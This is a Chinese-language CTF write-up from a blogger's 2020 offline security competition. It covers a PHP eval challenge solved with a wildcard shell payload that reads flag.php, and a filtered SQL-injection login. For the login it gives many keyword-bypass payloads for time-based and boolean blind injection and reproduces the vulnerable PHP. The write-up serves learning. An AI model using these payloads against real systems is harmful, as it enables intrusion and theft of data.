c1ay's blog

2020全国电信和互联网行业网络安全竞赛线下个人赛wp

字数统计: 2.5k阅读时长: 11 min
2021/01/15 Share

12月份参加的线下赛,补一下,个人赛成绩不怎么好,在这记录一下

web

web3:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
error_reporting(0);
//flag is located in flag.php
if( isset($_GET['a']) ){
$a = $_GET['a'];
if( strlen($a)>27 ){
die(strval(strlen($a)) . " Long.");
}
if( preg_match("/[A-Zb-z0-9_$.&;|^~![\](){}\$@\*]+/", $a) ){
die("NO.");
}
eval("echo '" . $a ."';");
} else {
show_source(__FILE__);
}
?>

安恒17年月赛出过类似的

过滤了^~等,导致不能异或取反绕过

过滤了[]@等字符,导致不能上传临时文件使用通配符匹配临时文件执行的方式(p牛之前提出的方法)

之前也看过一叶飘零师傅提供的方法:

是构造

'?><?=`/???/??? ????????`?>

‘是为了闭合这里代码里的echo,之后使用?>闭合之前的代码,<?=?>这里起到了echo的作用

这里的/???/??? ????????是为了匹配到/bin/cat flag.php

但是这样直接发过去目标会被卡死,因为匹配到的结果有很多

仔细看代码发现没有过滤a,于是可以通过以下的方式

'?><?=`/???/?a? ??a?????`?>

访问

http://10.10.22.12/?a=%27?%3E%3C?=`/???/?a?%20??a?????`?%3E

mark

获取flag:
flag{ZqhzwSifav4zf2ejop2ieKqxwQaEBOXf}

web1:

没做出,说一下思路

打开题目说需要登录

mark

这里过滤了很多字符,例如or、in、空格、=、>、<、like、^、regexp、substr、mid、right等等

登录很好构造,构造下面的payload就可以登录成功

1
username='UNION/**/SELECT/**/1,2,3%23&password=

mark

这里还输出了sql语句

1
SELECT * FROM users WHERE username=''UNION/**/SELECT/**/1,2,3#' and passwd='';

猜测后端逻辑大概是:

1
2
3
4
5
6
$sql="SELECT * FROM users WHERE username='".$_POST[username]."' and passwd='".$_POST[password]."'";
$result=mysql_query($sql);
if(mysql_num_rows($result)>0)
{
echo "welcome Admin!";
}

可以看到这里登录成功后除了welcome Admin!之外什么也没有

盯着题目看了好久无从下手,只能换个思路尝试盲注,当时首先想到的是时间盲注

发现sleep被过滤了、这里通过benchmark(10000000,md5(1))可以绕过

mark

于是可以通过:

1
username='UNION/**/SELECT/**/1,if(1,benchmark(10000000,md5(1)),1),3%23&password=

->延时

1
username='UNION/**/SELECT/**/1,if(0,benchmark(10000000,md5(1)),1),3%23&password=

->正常响应

这样的方式去进行时间盲注判断

这里需要突破的两个地方:
1、过滤了=、>、<、^、like、regexp等字符,如何构造布尔逻辑判断
2、过滤了substr、mid、in、right等,如何逐位截取字符串

突破第一点:

方法一:

经过测试找到方法,可以通过/除号进行布尔逻辑判断,这里通过cast(除法运算结果 as char(1))可以将运算结果转为0和1,由此就可以解决构造布尔判断的问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select ascii(version());
+------------------+
| ascii(version()) |
+------------------+
| 53 |
+------------------+
1 row in set (0.00 sec)
mysql> select cast(ascii(version())/52 as char(1));
+--------------------------------------+
| cast(ascii(version())/52 as char(1)) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set, 1 warning (0.01 sec)
mysql> select cast(ascii(version())/53 as char(1));
+--------------------------------------+
| cast(ascii(version())/53 as char(1)) |
+--------------------------------------+
| 1 |
+--------------------------------------+
1 row in set, 1 warning (0.00 sec)
mysql> select cast(ascii(version())/54 as char(1));
+--------------------------------------+
| cast(ascii(version())/54 as char(1)) |
+--------------------------------------+
| 0 |
+--------------------------------------+
1 row in set, 1 warning (0.00 sec)

获取表名,这里就能够成功获取到当前数据库group_concat(table_name)的第一个字符和长度了

因为这里过滤了in,所以用sys.schema_table_statistics代替information_schema

1
username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/length(group_concat(table_name))/**/from/**/sys.schema_table_statistics)/14)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=

->延时

1
username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/length(group_concat(table_name))/**/from/**/sys.schema_table_statistics)/15)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=

->正常响应

所以当前数据库表名长度为14

mark

mark

第一个字符

1
username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/ascii(left(group_concat(table_name),1))/**/from/**/sys.schema_table_statistics)/117)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=1

->延时

mark

1
username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/ascii(left(group_concat(table_name),1))/**/from/**/sys.schema_table_statistics)/118)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=1

->正常响应

mark

判断出group_concat(table_name)第一个字符的ascii码为117,也就是u

方法二:

使用between and

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.7.32-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select ascii(version());
+------------------+
| ascii(version()) |
+------------------+
| 53 |
+------------------+
1 row in set (0.00 sec)
mysql> select ascii(version()) between 1 and 52;
+-----------------------------------+
| ascii(version()) between 1 and 52 |
+-----------------------------------+
| 0 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(version()) between 1 and 53;
+-----------------------------------+
| ascii(version()) between 1 and 53 |
+-----------------------------------+
| 1 |
+-----------------------------------+
1 row in set (0.00 sec)

突破第二点:

因为ascii只能获取到第一个字符的ascii码,而且这里过滤了大部分常见的substr、mid字符串截取函数,并且过滤了一些特殊字符,导致情况变的有些困难

1、如果要使用trim去进行判断的话,需要用到leading和trailing,但是这里过滤了in

用法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
trim(leading 's1' from 's2') 从左边截取,删除字符串s2当中的字符串s1
trim(trailing 's1' from 's2') 从右边截取,删除字符串s2当中的字符串s1
mysql> select ascii(trim(version()));
+------------------------+
| ascii(trim(version())) |
+------------------------+
| 53 |
+------------------------+
1 row in set (0.00 sec)
mysql> select trim(leading '5' from version());
+----------------------------------+
| trim(leading '5' from version()) |
+----------------------------------+
| .7.32-0ubuntu0.16.04.1 |
+----------------------------------+
1 row in set (0.00 sec)
mysql> select ascii(trim(leading '5' from version()));
+-----------------------------------------+
| ascii(trim(leading '5' from version())) |
+-----------------------------------------+
| 46 |
+-----------------------------------------+
1 row in set (0.00 sec)
mysql> select trim(leading '5.' from version());
+-----------------------------------+
| trim(leading '5.' from version()) |
+-----------------------------------+
| 7.32-0ubuntu0.16.04.1 |
+-----------------------------------+
1 row in set (0.00 sec)

2、过滤了right,导致下面方法不能用:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.7.32-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select right(left(version(),2),1);
+----------------------------+
| right(left(version(),2),1) |
+----------------------------+
| . |
+----------------------------+
1 row in set (0.00 sec)
mysql> select right(left(version(),3),1);
+----------------------------+
| right(left(version(),3),1) |
+----------------------------+
| 7 |
+----------------------------+
1 row in set (0.00 sec)

绕过方法:

1、可以使用replace,猜测出第一个字符后,把该字符替换为空,这样依次处理

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select replace(version(),'5.','');
+----------------------------+
| replace(version(),'5.','') |
+----------------------------+
| 7.32-0ubuntu0.16.04.1 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select replace(version(),'5.7','');
+-----------------------------+
| replace(version(),'5.7','') |
+-----------------------------+
| .32-0ubuntu0.16.04.1 |
+-----------------------------+
1 row in set (0.00 sec)

方法缺陷:
加入flag数据如:flag{123123},当判断到第3个字符后,第四次判断是replace把123变成空,导致不能正常判断了

方法改进:使用replace+left组合的方式(这种方法也有一些小的缺陷,如果刚好第一个字符和第二个字符一样,那么使用left依旧不能解决这种问题,不过只要遇到了这个缺陷,那么在知道内容长度的情况下,就可以判断出第二个字符了)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
mysql> select replace('123123','123','');
+----------------------------+
| replace('123123','123','') |
+----------------------------+
| |
+----------------------------+
1 row in set (0.00 sec)
mysql> select replace(left('123123',4),'123','');
+------------------------------------+
| replace(left('123123',4),'123','') |
+------------------------------------+
| 1 |
+------------------------------------+
1 row in set (0.00 sec)
mysql> select replace(left('123123',5),'1231','');
+-------------------------------------+
| replace(left('123123',5),'1231','') |
+-------------------------------------+
| 2 |
+-------------------------------------+
1 row in set (0.00 sec)

最终构造:

1
username='UNION/**/SELECT/**/1,if((select/**/cast(((select/**/ascii(replace(left(group_concat(table_name),7),'users,',''))/**/from/**/sys.schema_table_statistics)/83)/**/as/**/char(1))),benchmark(10000000,md5(1)),1),'111'%23&password=1

->延时

判断出users,的下一个表名第一个字符ascii码为70,为大写的F

mark

后来问了做出这道题的学长,表名其实应该是(SeCrrreT),当时看ascii码是70就延时了,就没往后试了,以为是F

绕过方法2:使用mysql字符串反转函数reverse(由于比赛的时候不能上网,记不起来这个函数名了,所以没有去试该函数是否被过滤了,这里说一下方法)

使用left+reverse组合进行绕过,用法如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
mysql> select version();
+-------------------------+
| version() |
+-------------------------+
| 5.7.32-0ubuntu0.16.04.1 |
+-------------------------+
1 row in set (0.00 sec)
mysql> select reverse(left(version(),2));
+----------------------------+
| reverse(left(version(),2)) |
+----------------------------+
| .5 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select ascii(reverse(left(version(),2)));
+-----------------------------------+
| ascii(reverse(left(version(),2))) |
+-----------------------------------+
| 46 |
+-----------------------------------+
1 row in set (0.00 sec)
mysql> select reverse(left(version(),3));
+----------------------------+
| reverse(left(version(),3)) |
+----------------------------+
| 7.5 |
+----------------------------+
1 row in set (0.00 sec)
mysql> select ascii(reverse(left(version(),3)));
+-----------------------------------+
| ascii(reverse(left(version(),3))) |
+-----------------------------------+
| 55 |
+-----------------------------------+
1 row in set (0.00 sec)

绕过方法3:
赛后和同事交流后发现依旧可以使用trim,用法:
trim(both 's1' from 's2') 删除字符串s2两边的s1

只要是字符串删除的方法,均会遇到上面所说的像replace那样的问题,使用left就能解决

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
mysql> select trim(both '123' from '123123');
+--------------------------------+
| trim(both '123' from '123123') |
+--------------------------------+
| |
+--------------------------------+
1 row in set (0.00 sec)
mysql> select trim(both '123' from left('123123',4));
+----------------------------------------+
| trim(both '123' from left('123123',4)) |
+----------------------------------------+
| 1 |
+----------------------------------------+
1 row in set (0.00 sec)

其实也可以不用盲注

知道了系统的用户名为root

按照上面的方法构造:

1
username='/**/and/**/true%23&password=

->响应中存在welcome Admin

1
username='/**/and/**/false%23&password=

->响应中不存在welcome Admin

使用布尔盲注代替时间盲注即可

比赛时这道题最终还是没有做出来,赛后根据这道题目做了个docker环境,题目代码逻辑和过滤关键字如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
include('config.php');
if(isset($_POST['username']) && isset($_POST['password']))
{
if((preg_match("/sleep|update|extract|in|substr|mid|right|like|regexp|<|=|>|\^|\"|or/i", $_POST['username'])) || preg_match("/sleep|update|extract|in|substr|mid|right|like|regexp|<|=|>|\^|\"|or/i", $_POST['password']))
{
die("hacker!!!");
}
else
{
$conn=mysqli_connect($dbhost,$dbuser,$dbpasswd,$dbname);
$sql="select * from users where username='".$_POST['username']."' and password='".$_POST['password']."'";
echo $sql."\n\n";
if(($result=mysqli_query($conn,$sql)) && (mysqli_num_rows($result)>0))
{
echo "<h1 color='red'>Welcome,Admin!</h1>";
}
else
{
echo "Login Error";
}
}
}
?>

根据上面的绕过方法编写脚本

mark

misc

hackshark

在过滤器当中输入:http.request.method==POST

过滤出http POST流量,分析http流量,发现为sql布尔盲注流量,猜测盲注的password字段就是flag

当判断为真时,响应当中会有<img src="../images/slap.jpg"的内容

mark

根据响应过滤出相应的内容
http contains "/images/slap.jpg"

mark

追踪http流,获取flag

flag{booool_sqli}

CATALOG
  1. 1.
  2. 2. web
  3. 3. misc